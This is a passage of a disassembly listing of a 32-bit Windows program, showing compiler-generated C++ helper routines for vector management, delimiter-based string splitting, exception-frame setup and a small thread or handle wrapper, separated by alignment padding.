		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A4A0	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A4A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4E0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A510	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A551
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A684
; ---------------------------------------------------------------------------


loc_40A551:				; CODE XREF: sub_40A510+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A635
		push	ebx


loc_40A591:				; CODE XREF: sub_40A510+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A5A0


loc_40A597:				; CODE XREF: sub_40A510+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A597


loc_40A5A0:				; CODE XREF: sub_40A510+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A5AF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A5AF:				; CODE XREF: sub_40A510+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5FF
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5CB:				; CODE XREF: sub_40A510+D5j
		cmp	cl, 22h
		jnz	short loc_40A5DC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5E7
		test	cl, cl
		jz	short loc_40A5E7


loc_40A5DC:				; CODE XREF: sub_40A510+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5CB


loc_40A5E7:				; CODE XREF: sub_40A510+B9j
					; sub_40A510+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A62A
		add	eax, 2
		jmp	short loc_40A626
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A510+B5j
		test	cl, cl
		jz	short loc_40A614
		mov	dl, [edi]


loc_40A605:				; CODE XREF: sub_40A510+102j
		cmp	cl, dl
		jz	short loc_40A614
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A605


loc_40A614:				; CODE XREF: sub_40A510+F1j
					; sub_40A510+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A62A
		cmp	cl, [edi]
		jnz	short loc_40A62A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A626:				; CODE XREF: sub_40A510+EDj
		mov	[esp+48h+var_3C], eax


loc_40A62A:				; CODE XREF: sub_40A510+DAj
					; sub_40A510+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A591
		pop	ebx


loc_40A635:				; CODE XREF: sub_40A510+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A64D
		push	offset byte_448F30
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: sub_40A510+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A65A:				; CODE XREF: sub_40A510+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A684:				; CODE XREF: sub_40A510+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A510	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A710	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A710	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A750	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A750	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A780	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A780	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7A0	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A7A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7C0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A800	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A820	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A840	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A840	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A870	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A870	endp

; ---------------------------------------------------------------------------
		xor	eax, eax


loc_40A898:				; DATA XREF: ___:0044653Co
					; ___:00446580o ...
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8CA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8CA:				; CODE XREF: sub_40A8C0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A908
		mov	ecx, esi
		call	sub_401F05


loc_40A908:				; CODE XREF: sub_40A8F0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A930	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A930	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A960	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A960	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A980	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A980	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9A0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A9A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA10


loc_40AA01:				; CODE XREF: sub_40A9F0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40AA01


loc_40AA10:				; CODE XREF: sub_40A9F0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA30:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAB0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAB0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAD0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB9B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AB03
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AB05
; ---------------------------------------------------------------------------


loc_40AB03:				; CODE XREF: sub_40AAD0+26j
		mov	ebp, edi


loc_40AB05:				; CODE XREF: sub_40AAD0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB9B:				; CODE XREF: sub_40AAD0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABF9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABF9:				; CODE XREF: sub_40AAD0+D8j
		test	edi, edi
		jbe	short loc_40AC33
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC33:				; CODE XREF: sub_40AAD0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAD0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACC0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACF2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACD6:				; CODE XREF: sub_40ACC0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACD6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACF2:				; CODE XREF: sub_40ACC0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD10	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD37
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD26:				; CODE XREF: sub_40AD10+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD26
		pop	esi
		pop	ebx


loc_40AD37:				; CODE XREF: sub_40AD10+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD50	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD50	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADB0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADCD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADC1:				; CODE XREF: sub_40ADB0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADC1
		pop	esi

locret_40ADCD:				; CODE XREF: sub_40ADB0+Aj
		retn
sub_40ADB0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADE0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AE02
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADF1:				; CODE XREF: sub_40ADE0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADF1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AE02:				; CODE XREF: sub_40ADE0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE40	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE4A
		xor	eax, eax


loc_40AE4A:				; CODE XREF: sub_40AE40+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE40	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE70	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE8B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE8B:				; CODE XREF: sub_40AE70+11j
		retn
sub_40AE70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEC0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AED8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AED8:				; CODE XREF: ___:0040AECDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEF0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF21:				; DATA XREF: sub_40AF32o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF32	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF21
		retn
sub_40AF32	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF60	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF80	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AFA0	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFC2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AFA0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AFA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFE0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B007
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40B007:				; CODE XREF: ___:0040AFE9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B020	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B03C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B03C:				; CODE XREF: sub_40B020+8j
		pop	esi
		retn
sub_40B020	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B050:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B070	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B070
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B09E:				; DATA XREF: sub_40B0B1o
